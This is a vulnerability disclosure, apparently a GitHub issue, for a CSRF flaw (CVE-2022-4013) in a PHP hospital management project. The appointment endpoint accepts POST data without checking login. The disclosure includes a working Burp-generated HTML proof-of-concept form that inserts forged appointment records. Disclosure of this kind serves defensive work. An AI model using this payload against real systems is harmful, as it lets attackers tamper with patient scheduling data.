Headline
CVE-2022-4013: CSRF vulnerability · Issue #2 · golamsarwar08/hms
A vulnerability classified as problematic was found in Hospital Management Center. Affected by this vulnerability is an unknown functionality of the file appointment.php. The manipulation leads to cross-site request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-213787.
Build environment: Aapche2.4.39; MySQL5.7.26; PHP7.3.4****1.Vulnerability analysis
On the page appointment. php, the input information is submitted to the appointment connect. php through the POST request. The follow-up code is displayed in the appointment connect PHP page, the 16th line of code - the 29th line of code, the information entered by the user is assigned to the corresponding variable, and then inserted into the database, and the program judges if mysqli_ If the query is executed successfully, the data is successfully inserted into the database. The user login status is not verified, so CSRF vulnerability is caused
POC:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('’, '’, ‘/’)</script> <form action="http://vulhms.test/appointmentconnect.php" method="POST"> <input type="hidden" name="Patient_Name" value="ace" /> <input type="hidden" name="Doctor_Name" value="ace" /> <input type="hidden" name="Department" value="ace" /> <input type="hidden" name="App_Date" value="2022-11-15" /> <input type="hidden" name="App_Time" value="00:00:00.000000" /> <input type="hidden" name="Phone" value="ace" /> <input type="hidden" name="save" value="submit" /> <input type="submit" value="Submit request" /> </form> </body> </html>
The POC clicks Send, and then a piece of information about the user’s ace will be added to the database
In the docker list interface, we can also see that a new West Sydney user named ace has been added